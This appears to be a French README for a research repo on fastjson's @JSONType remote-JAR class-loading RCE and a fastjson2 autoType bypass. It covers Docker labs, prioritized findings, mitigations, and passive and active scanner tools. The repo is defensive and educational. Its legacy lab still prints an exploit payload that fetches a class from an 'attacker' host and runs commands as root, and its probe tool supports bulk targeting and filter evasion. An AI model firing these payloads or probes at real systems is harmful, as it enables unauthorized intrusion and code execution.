
Laboratoires Docker + scanner défensif pour la RCE de fastjson par chargement de classe à distance. fastjson 1.2.66-1.2.83 : sonde de ressource @JSONType (CVE-2026-16723). fastjson2 2.0.57 : le @type de l'attaquant atteint loadClass avec autoType DÉSACTIVÉ via les types polymorphes (@JSONType(seeAlso) / Jackson @JsonSubTypes). Payloads de marqueur uniquement ; contrôles safeMode + JDK17.
@JSONType de FastjsonCe dépôt conserve désormais deux axes de recherche Fastjson distincts :
modern-fd/ est la reconstruction recommandée, à base de marqueurs uniquement, de la chaîne remote-JAR/file-descriptor en un seul corps de Fastjson 1.2.83 sur Spring Boot 3, Tomcat embarqué standard et JDK 17. Elle utilise le point de chute littéral à DTO fixe JSON.parseObject(body, BoundEnvelope.class) avec AutoType désactivé.scanner/ contient la détection passive de requêtes/journaux, l'inventaire statique d'artefacts et une sonde de joignabilité sans exécution.Le bug :
ParserConfig.checkAutoTypesonde chaque valeur@typeà la recherche de l'annotation@JSONTypeen exécutantgetResourceAsStream(typeName.replace('.','/') + ".class"). Sur les combinaisons Linux/JDK modernes, une sonde distantejar:httppeut laisser le JAR en cache derrière un descripteur ouvert ; des sondes ultérieuresjar:file:/proc/self/fd/Ndans le même corps peuvent le rouvrir sous des noms de classe valides et initialiser une classe annotée. La composition exacte 1.2.83 fonctionne avec AutoType désactivé et via un DTO fixe contenantList<Object>. La liaison (binding) seule n'est donc pas une mesure d'atténuation. Explication complète :docs/MECHANISM.md.
La revue associée de l'ensemble du projet a couvert 2 041 lignes callables/initialiseurs statiques dans les 193 fichiers Java de production de Fastjson 1.2.83. Le tableau ci-dessous hiérarchise les résultats au plus fort impact ; il n'affirme pas que chaque déploiement Fastjson est concerné. Ce dépôt reproduit directement F105. Les autres entrées résument une revue de code source scellée séparément et des preuves de laboratoire limitées.
Voir findings/FINDINGS.md pour les étiquettes de validation, les prérequis, les constats de niveau inférieur, les priorités de remédiation et les limites négatives explicites.
Ce dépôt est destiné à l'éducation, la recherche défensive et les tests autorisés de systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester. La publication de l'hôte, lorsqu'elle est prise en charge pour le réseau interne du laboratoire moderne, n'est demandée que sur 127.0.0.1 ; ses scripts conduisent le test entièrement à l'intérieur de ce réseau isolé. Le laboratoire moderne ne possède aucune primitive d'exécution de processus et ne pose qu'un marqueur fixe dans la JVM.
Le laboratoire hérité JDK 8 exécute bien id et écrit sa sortie dans /tmp/PWNED ; gardez-le isolé. Ne pointez pas l'exploit hérité ni la sonde active vers des systèmes non autorisés.
Le répertoire scanner/ fournit quatre outils Python 3 sans dépendance (aucune installation pip).
fjdetect.py — inspecte passivement les corps de requêtes JSON décodés ou les journaux JSON structurés pour y chercher des amorces remote-JAR et des séquences /proc/self/fd ou /dev/fd.fjscan_static.py — inventorie les jars/wars/ears pour la combinaison vulnérable (1.2.83 vérifié par métadonnées et contenu × contenu réel des classes du chargeur Spring Boot). Les versions 1.2.48–1.2.82 portant la sonde et les candidats limités aux métadonnées/noms de fichiers sont signalés séparément pour examen. Conçu pour les passerelles CI (code de sortie 2 sur EXPOSED).fjscan_probe.py — contrôle actif et sûr de joignabilité : envoie le @type vers une canary que vous contrôlez (écouteur intégré ou Burp Collaborator / interactsh) et corrèle le rappel de récupération de ressource. Son écouteur intégré renvoie un 404 vide ; configurez les écouteurs externes de manière équivalente. Un rappel ne prouve ni le chargement de classe ni une RCE.fjpayload.py — génère des corps de récupération de ressources distantes pour les tests manuels ; n'utilisez qu'un écouteur vide/404 lorsque l'exécution n'est pas voulue.# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = une cible par ligne — une URL complète [METHOD ]URL ou un domaine nu (développé avec --scheme / --target-port / --path) ; les commentaires # sont autorisés :
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (sonde active)
fjscan_static.py (inventaire) : <paths…> · --threads N (défaut 8) · --json (sortie machine ; code de sortie 2 si un EXPOSED est présent).
fjpayload.py (générateur) : <collaborator> · --targets-file/-f <file\|-> (en masse) · --port · --token · --wrap · --entry.
Note Collaborator : le point de chute
jar:de@JSONTypeappliquetypeName.replace('.','/'), donc chaque point de l'hôte devient une barre oblique — un sous-domaine Burp Collaborator avec points (abc.oastify.com) ne peut pas y être délivré (les outils retombent sur une IP entière + un jeton de chemin d'URL). Pour obtenir un rappel vers un Collaborator public, utilisez--probe-type dns: la primitivejava.net.Inet4Addressaccepte un hôte avec points et déclenche une interaction DNS (<tok>.<sub>.oastify.com), confirmant la primitive d'analyseInet4Address+ la sortie réseau. C'est une preuve préalable, pas une preuve du terminal remote-JAR/FD. Voirscanner/README.md.
Prérequis : Docker + Docker Compose, et un accès sortant vers Maven Central lors de la première construction (pour récupérer fastjson / spring-boot-loader / asm).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
Le cas positif envoie un corps à un thread de requête Tomcat embarqué normal. Son point de chute littéral est final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). Le succès se limite à la propriété fixe et au jeton de journal FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1 ; la réponse renvoie toujours un BoundEnvelope normalement lié. Le répertoire de preuves contient la requête, la réponse, les métadonnées du conteneur, les journaux et le manifeste SHA-256.
Les contrôles couvrent le JSON ordinaire, les candidats FD sans amorce, une amorce suivie de descripteurs impossibles, et SafeMode. Voir modern-fd/README.md.
La divulgation FearsOff montre le même terminal JAR retenu sous JDK 21 en utilisant un cache persistant au niveau du processus et un candidat FD par requête. Le laboratoire moderne de ce dépôt reproduit quant à lui une composition JDK 17 en un seul corps : l'amorce à échec souple et les candidats FD bornés sont portés par une seule requête à DTO fixe. JDK 21 reste rapporté en externe ; ce n'est pas un résultat d'exécution produit ici.
Le projet Compose d'origine, à la racine, reste disponible pour reproduire l'ancienne voie en une étape. Contrairement à modern-fd/, il est capable d'exécuter des commandes et doit être exécuté uniquement dans le laboratoire isolé :
make up
make exploit
make down
Sortie attendue de make exploit :
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
La ClassCastException est le signe que la liaison n'est pas une mesure d'atténuation : la classe de l'attaquant exécute son <clinit> pendant la sonde @type, avant que fastjson tente de la convertir en Dto.
target/Dockerfile à JDK 17 bloque cette définition héritée à nom forgé et laisse une récupération. Ce résultat ne teste pas ni n'atténue la continuation distincte /proc/self/fd dans modern-fd/.setAutoTypeSupport(true) — vérifiez la bannière sur http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.Activez -Dfastjson.parser.safeMode=true sur le chemin ordinaire sans handler, ou utilisez la version com.alibaba:fastjson:1.2.83_noneautotype de l'éditeur lorsqu'une migration immédiate est impossible, et auditez les AutoTypeCheckHandlers installés. Restreignez la sortie réseau de la JVM ; migrez l'analyse non fiable loin de Fastjson 1.x ; alertez sur les amorces @type remote-JAR décodées et les candidats /proc/self/fd ou /dev/fd, à la fois au sein d'une même requête et corrélés entre requêtes. La liaison DTO et JDK 9+ ne sont pas des atténuations complètes pour la composition moderne.
fastjson2/ est un second laboratoire indépendant. fastjson2 ne contient pas la sonde de ressource @JSONType de fastjson 1.x. Il permet cependant à un @type contrôlé par l'attaquant d'atteindre ClassLoader.loadClass() avec autoType désactivé, chaque fois que le chemin d'analyse implique un type polymorphe — car le constructeur d'ObjectReaderSeeAlso code en dur SupportAutoType, et un échec seeAlso retombe sur la résolution autoType complète avant que les vérifications d'assignabilité et DataSource/RowSet ne s'exécutent.
Les déclencheurs sont des annotations de modélisation ordinaires — @JSONType(seeAlso=), Jackson @JsonSubTypes (respectée car useJacksonAnnotation est vrai par défaut), @JsonTypeInfo, les types scellés. Sous un fat jar Spring Boot, le classloader de contexte résout les noms jar:http:, si bien que la classe est récupérée depuis le réseau et que son initialiseur statique s'exécute.
Reproduit sur fastjson2 2.0.62 (dernière version publiée) et 2.0.57, sous JDK 8. safeMode=true le bloque ; JDK 17 le rétrograde en SSRF ; autoTypeFilter(...) ne protège pas. Divulgué par Chaitin (长亭), ~2026-07-25 — ce n'est pas un constat de ce dépôt. Le mainteneur a un durcissement en cours dans PR #7703 (remplaçant la #7695 fermée) qui rejette : et ! dans les noms de type ; aucune version publiée ne le contient — 2.0.62 précède les deux.
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd reconstruits ici.@JSONType / nom interne d'URL jar : @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC. attacker/Gen.java réimplémente cette technique pour ce laboratoire./proc/self/fd. Ils ont été traités comme des rapports externes, et non comme une preuve d'exécution indépendante.modern-fd/ utilise des classes à base de marqueurs uniquement, écrites indépendamment, et un point de terminaison Tomcat normal à DTO fixe.Ce laboratoire et les outils scanner/ conditionnent ces constats dans un banc d'essai reproductible et des contrôles défensifs. Ce projet n'est ni affilié aux chercheurs ci-dessus, ni approuvé par eux.
| Priorité | Constat | Résultat prouvé | Limite importante |
|---|
| 1 | F105 — exécution de bytecode distante @JSONType | Initialisation de classe fournie par l'attaquant via des chargeurs Spring Boot compatibles, notamment la voie directe JDK 8 et la continuation JAR retenu /proc/self/fd/N sous Linux/JDK 17 | Nécessite un porteur @type atteignable par le parseur, un chargeur Boot/TCCL compatible, une sortie réseau, SafeMode/IgnoreAutoType désactivés et un JAR attaquant exact. La voie moderne à DTO fixe exige en outre une voie de valeurs génériques (le laboratoire utilise List<Object>), le procfs Linux, un descripteur retenu et un alignement exact des noms ; elle n'est pas universelle pour chaque JDK, chargeur ou OS |
| 2 | F1/F45 — exécution de commande TemplatesImpl | Exécution de commande marqueur via l'API à DTO fixe, y compris une propriété de corps ignorée | Nécessite une politique serveur affaiblie : admission de classe, AutoType et population de champs privés ou chemins équivalents ; des réglages par défaut intacts la bloquent |
| 3 | F70/C016 — mise en tampon illimitée et expansion GZIP | Les chemins byte/InputStream typés et DTO annotés se développent ou se mettent en tampon sans plafond de sortie ; un OOME Java à tas contraint a été reproduit | La joignabilité du point de terminaison/schéma et des octets de l'attaquant est requise ; une panne étendue à la production n'a pas été établie |
| 4 | F18/C089 — épuisement de la pile du thread du parseur | Des valeurs d'objets ordinaires profondément imbriquées peuvent produire une StackOverflowError avec l'analyse par défaut | Impact sur la disponibilité du thread de requête ; pas un crash JVM systématique ni un crash touchant tout le service |
| 5 | F120/C162 — SSRF HTTP à schéma fixe / chargement de ressources locales | Le JEditorPane/JTextPane.page contrôlé par le corps effectue des requêtes HTTP et peut charger du contenu file: borné dans l'état du Document | Nécessite que l'application déclare le type Swing ; aucune exfiltration automatique de réponse ni RCE n'a été prouvée |
| 6 | F118/C160 — défaillance d'autorisation/intégrité des données par collision de hachage | Une collision Unicode FNV-1a-64 distincte peut se lier à une constante d'enum privilégiée ou router une mutation JSONPath vers le mauvais setter de bean | Nécessite une collision exploitable et une confiance en aval, ou une opération de mutation JSONPath exposée ; pas d'admission de classe ni de RCE |
| 7 | F121/C163 — joignabilité JNDI de JdbcRowSet fixe | Un ordre exact des setters a provoqué une connexion JNDI/LDAP sortante sélectionnée par le corps | Les preuves s'arrêtent à une connexion : aucune réponse d'annuaire, usine d'objets, chargement de bytecode ni RCE |
| 8 | F2/F45 — résolution DNS par défaut | La résolution de nom d'hôte contrôlée par l'attaquant fonctionne avec la configuration par défaut et via une propriété de DTO fixe ignorée | Interaction DNS/OOB uniquement, pas de SSRF HTTP générique ni de RCE |
| Option | Défaut | Fonction |
|---|
--auto | off | le plus simple — envoie par cible une sonde DNS comparative baseline + simple + échappée Unicode, puis affiche un récapitulatif ; nécessite seulement --collaborator + --targets |
--canary-ip <ip> | — | mode écouteur intégré ; IP de cet hôte telle que les cibles la voient |
--collaborator <v> | — | OOB externe (IPv4 / entier / hôte sans point / sous-domaine Collaborator) |
--probe-type <t> | jsontype | mode manuel : jsontype = chemin de récupération de ressource distante (jar:http IP-entier) ; dns = OOB Inet4Address via un hôte avec points (compatible Collaborator) ; both |
--targets <file|-> | — | liste de cibles non vide ; - lit l'entrée standard (requis) ; une entrée vide ou ne contenant que des commentaires se termine avec un code non nul |
--threads N | 20 | workers de requêtes concurrents |
--header 'K: V' | — | en-tête de requête supplémentaire (répétable) ; un --user-agent semblable à un navigateur est envoyé par défaut pour une requête frontale représentative |
--baseline '{"a":1}' | — | envoie aussi un corps de contrôle bénin par cible ; une différence de réponse baseline/sonde est cohérente avec un traitement sensible au contenu en périphérie, middleware ou applicatif, et nécessite une corroboration |
--max-redirects N | 3 | suivre jusqu'à N redirections de même origine ou les passages standard HTTP:80→HTTPS:443 sur le même hôte (0 = aucune) ; la rétrogradation HTTPS, les changements arbitraires de port/origine et les redirections inter-hôtes sont bloqués ; les passages ne conservent que les en-têtes de base non sensibles |
--evasion {ukey,uval,both} | none | échappe en \uXXXX la clé @type / la valeur de classe (fastjson la décode quand même) ; un rappel obtenu uniquement en mode évasion est cohérent avec des données de sonde décodées franchissant un filtre de mots-clés littéraux, mais exige encore une corroboration parseur/version |
--scheme / --target-port / --path | http / — / /parse | la façon dont les domaines nus sont développés |
--method | POST | méthode HTTP par défaut |
--wrap '{"u":{{P}}}' | {{P}} | imbrique l'objet de sonde dans un champ |
--listen-port / --port | 19000 / 80 | port canary intégré / port collaborator |
--wait / --timeout | 10 / 8 | secondes d'attente des rappels / délai d'expiration par requête |
| Chemin | Contenu |
|---|
modern-fd/ | laboratoire de chaîne FD à DTO fixe Boot 3/JDK 17 à base de marqueurs uniquement et contrôles décisifs |
scanner/ | détection passive de charges utiles/journaux, inventaire statique et outils de joignabilité sans exécution |
target/ | cible héritée JDK 8 utilisant JSON.parseObject(body, Dto.class) sous un chargeur Boot sélectionné manuellement |
attacker/ | générateur de classes JDK 8 hérité capable de commandes et serveur JAR |
exploit/ | preuve héritée exploit.sh |
docs/MECHANISM.md | explication pas à pas annotée du code source |
findings/FINDINGS.md | constats priorisés sur l'ensemble du projet, prérequis et limites de remédiation |
fastjson2/ est une reproduction indépendante de cette divulgation, et non un constat original de ce dépôt. Fil de suivi : issue #7702 (ouverte par un utilisateur, sevck) ; durcissement du mainteneur dans PR #7703 / #7695 fermée.safeMode, et l'historique autoType derrière CVE-2022-25845).